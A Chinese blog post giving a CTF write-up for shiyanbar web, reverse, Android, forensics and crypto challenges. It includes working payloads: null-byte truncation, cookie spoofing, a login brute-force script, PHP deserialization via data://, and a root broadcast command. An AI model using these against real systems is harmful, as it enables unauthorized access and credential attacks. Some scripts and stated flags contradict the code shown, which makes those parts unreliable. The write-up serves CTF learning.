鸽了好久的博客,又开始更新了,比赛结束时本该提交的writeup,主办方没收,放出来供大家学习吧。同时感谢DAWN大佬对我的指导和帮助。
1.ctf入门级题目
payload: http://ctf1.shiyanbar.com/shian-rao/?password=lolol%00--
2.曲奇饼
payload: http://ctf1.shiyanbar.com/shian-quqi/index.php?line=0&file=aW5kZXgucGhw
读取index.php文件源码,line=0 line=1 ……
取得源码
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&file=a2V5LnR4dA==");
$file_list = array(
'0' =>'key.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['key']) && $_COOKIE['key']=='li_lr_480'){
$file_list[2]='thisis_flag.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
然后用脚本cookie欺骗及遍历源代码
#!/usr/bin/python
import requests
import sys
cookies = {'key': 'li_lr_480'}
for i in range(0,20):
url="http://ctf1.shiyanbar.com/shian-quqi/index.php?line="+str(i)+"&file=dGhpc2lzX2ZsYWcucGhw"
wp = requests.get(url, cookies=cookies)
print(wp.text)
print("get flag success")
3.类型
参考链接:http://www.lofter.com/lpost/1e22a551_edddb05
4.登录
写脚本爆破
import re
import requests
session =requests.session()
for x1 in range(10):
for x2 in range(10):
for x3 in range(10):
for x4 in range(10):
for x5 in range(10):
str1 = session.get("http://ctf1.shiyanbar.com/shian-s/").content
pattern = re.compile(r"(?<=<br><br>).*(?=<br><br> )")
code = re.findall(pattern,str1)[0]
flagstr = "http://ctf1.shiyanbar.com/shian-s/index.php?username=admin&password="+str(x1)+str(x2)+str(x3)+str(x4)+str(x5)+"&randcode="+code
flag = session.get("http://ctf1.shiyanbar.com/shian-s/index.php?username=admin&password=3123&randcode=213").content
if "{" in flag:
print str(x1)+str(x2)+str(x3)+str(x4)+str(x5)
break
else:
print flagstr
登录密码:00325
5.admin
Payload:
http://ctf1.shiyanbar.com/shian-du/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=&file=class.php&pass=O:4:%22Read%22:1:{s:4:%22file%22;s:10:%22./f1a9.php%22;}
6.console
利用脚本
import hashlib
str1 = [0x2, 0x3, 0x5, 0x7, 0xb, 0xd, 0x11,0x13, 0x17, 0x1d, 0x1f, 0x25, 0x29, 0x2b, 0x2f, 0x35,0x3b, 0x3d, 0x43, 0x47,0x49, 0x4f, 0x53, 0x59, 0x61, 0x65, 0x67, 0x6b, 0x6d, 0x71]
str2 = "CreateByTenshine"
str3 = ""
for i in xrange(len(str2)):
t= ord(str2[i])
for j in range(1,15):
t = str1[j] ^ t
str3 += chr(t)
for k in xrange(len(str3)):
if (str3[k] == '-'):
str3[k] = ''
print str3
m = hashlib.md5()
m.update(str3)
result = m.hexdigest()
print 'flag{' + result + '}'
9.动态暴力破解
ida查看string字符,找到一个类似flag的值,然后进行移位和凯撒解密,得到flag flag:CTF-BR{riot_in_public_square_vgzdLIEjd}
10.Android
在MainActivity中发现启动之后就向Send_to_Activity这个广播接收器注册了一个action为com.flagstore.ctf.INCOMING_INTENT的广播,
而且界面只有一个to-do: UI pending,在Send_to_Activity的onReceive()方法中可以发现,需要发送一个满足特定条件的广播才能激活进入下一个Activity。
这个特定条件是:
extra中的msg值为:OpenSesame。然后调用android的am工具。不过记住要用root权限,仅仅在adb shell am… 是不能触发的。
adb shell
su
am broadcast -a “com.flagstore.ctf.INCOMING_INTENT” –es msg “OpenSesame”
然后就可以看到界面跳转了。然后出现一个很大的按钮可以点击,然而点击之后,应用就崩溃了
于是静态分析源码。
把这个lib\armeabi-v7a\libnative-lib.so文件拖到IDA中去
找到Exports就可以找到一个函数getPhrase()
然后双击,进入该函数,然后按F5是不行的,搜了一下才知道这时候需要点击右键,然后Create Function。这样再按F5就可以得到C代码了。
其中__stack_chk_guard和__stack_chk_fail()是GCC的堆栈保护机制,其中__stack_chk_guard叫作CANARY(金丝雀)值。
我们发现这一随机值是放在了函数的局部变量和保存的指令指针(译注:此处指返回地址和EBP)之间。这个值被称作金丝雀(“canary”)值,指的是矿工曾利用金丝雀来确认是否有气体泄漏,如果金丝雀因为气体泄漏而中毒死亡,可以给矿工预警。
http://www.freebuf.com/articles/system/24177.html
在#27行中,将_stack_chk_guard保存在v24中,然后再在函数返回之前,#52,#53行将之前保存的值与现在的_stack_chk_guard比较,若两者不一致,金丝雀(canary)的值被修改了,栈溢出发生了,保存的指令指针可能也被修改了,因此不能安全返回,则执行_stack_chk_fail(),然后会丢出一个错误,退出进程。
注意这里的dest, v16, v17, v18, v19, v20等是十进制,可以在IDA里选择将其改成16进制或者字符串。
关于 strncat
头文件:
#inclue <string.h>
strncat()用于将n个字符追加到字符串的结尾,其原型为:
char * strncat(char *dest, const char *src, size_t n);
strncat()将会从字符串src的开头拷贝n 个字符到dest字符串尾部,dest要有足够的空间来容纳要拷贝的字符串。如果n大于字符串src的长度,那么仅将src全部追加到dest的尾部。
strncat()会将dest字符串最后的’\0’覆盖掉,字符追加完成后,再追加’\0’。
返回字符串dest。
关于strncpy
头文件:
#include <string.h>
strncpy()用来复制字符串的前n个字符,其原型为:
char * strncpy(char *dest, const char *src, size_t n);
【参数说明】dest 为目标字符串指针,src 为源字符串指针。
【返回值】返回字符串dest。
关于跨平台的移植性
int类型比较特殊,具体的字节数同机器字长和编译器有关。如果要保证移植性,尽量用__int16 __int32 __int64吧。__int16、__int32这种数据类型在所有平台下都分配相同的字节。所以在移植上不存在问题。
建议:在代码中尽量避免使用int类型,根据不同的需要可以用short,long,unsigned int 等代替。
http://www.cppblog.com/xyjzsh/archive/2010/10/20/130554.html
怪不得很多IDA出来的C有很多__int8, __int16, __int32等等。
然后顺便反编译了getFlag
11.简单算法
主函数:
表示v8是什么没搞懂来着,但是看到后面都是v8%22之类的使用,所以直接从0到21遍历了。照着上面的代码跑了一遍就出结果了,只是要注意v8和v15异或时用的是int8,所以和0xff做下与运算再异或就ok啦
Python代码:
str1 =[0x5f,0xf2,0x5e,0x8b,0x4e,0xe,0xa3,0xaa,0xc7,0x93,0x81,0x3d,0x5f,0x74,0xa3,0x9,0x91,0x2b,0x49,0x28,0x93,0x67]
str2 = ""
for i in xrange(22):
v5= i
v16= i
v18= 0
v15= str1[i]
v13= i + 1
v17= 0
while(v17 < v13):
v17= v17 + 1
v18= 0x6d01788d * v18 + 12345
v4= v18 & 0xffff
printstr(v15 ^ (v18 & 0xff))
printstr(hex(v15 ^ (v18 & 0xff)))
str2+= chr(v15 ^ (v18 & 0xff))
print str2
flag: flag{d826e6926098ef46}
12.low
附上脚本
import cv2
import numpy as np
img = cv2.imread("low.bmp")
out = np.zeros(img.shape,np.uint8)
w,h = img.shape[:2]
for i in range(w):
for j in range(h):
if img[i,j,2] %2 != 0:
out[i,j,0]=255
out[i,j,1]=255
out[i,j,2]=255
cv2.imwrite("out.bmp",out)
QQ反转二维码 扫描得到flag
13.斑马斑马
https://online-barcode-reader.inliteresearch.com/
直接在这个网址在线扫描斑马的条形码就可以获得flag
14.CreateByWho
这题主要是三个定位点。先ps成二维码,然后加上三个定位点
15.适合作为桌面的图片
扫描得
03F30D0A79CB05586300000000000000000100000040000000730D0000006400008400005A000064010053280200000063000000000300000016000000430000007378000000640100640200640300640400640500640600640700640300640800640900640A00640600640B00640A00640700640800640C00640C00640D00640E00640900640F006716007D00006410007D0100781E007C0000445D16007D02007C01007400007C0200830100377D0100715500577C010047486400005328110000004E6966000000696C00000069610000006967000000697B000000693300000069380000006935000000693700000069300000006932000000693400000069310000006965000000697D000000740000000028010000007403000000636872280300000074030000007374727404000000666C6167740100000069280000000028000000007304000000312E7079520300000001000000730A0000000001480106010D0114014E280100000052030000002800000000280000000028000000007304000000312E707974080000003C6D6F64756C653E010000007300000000
然后pyc反编译得到py脚本
#!/usr/bin/env python
# encoding: utf-8
def flag():
str = [
102,
108,
97,
103,
123,
51,
56,
97,
53,
55,
48,
51,
50,
48,
56,
53,
52,
52,
49,
101,
55,
125]
flag = ''
for i in str:
flag += chr(i)
print flag
得到flag{139711e8e9ed545e}
16.ReverseMe
放进hxd发现里面的数据都是反的,重新读入再反序输出就可以了。
脚本如下:
f = open("reverseMe", "rb")
s = f.read()
f.close()
f = open("output.jpg", "wb")
f.write(s[::-1])
f.close()
然后放进PS里面水平翻转就行了。
17.珍妮的QQ号
写个程序跑一下……
18.心仪的公司
找木马名字conf1g.php,追踪TCP流
然后找到Webshell.jpg
找到flag
20.RSA
附上脚本
import gmpy
from Crypto.Util.number import long_to_bytes
n=92164540447138944597127069158431585971338721360079328713704210939368383094265948407248342716209676429509660101179587761913570951794712775006017595393099131542462929920832865544705879355440749903797967940767833598657143883346150948256232023103001435628434505839331854097791025034667912357133996133877280328143
c = 2044619806634581710230401748541393297937319
e = 3
m = gmpy.root(c, 3)[0]
if pow(m, 3, n) == c:
print long_to_bytes(m)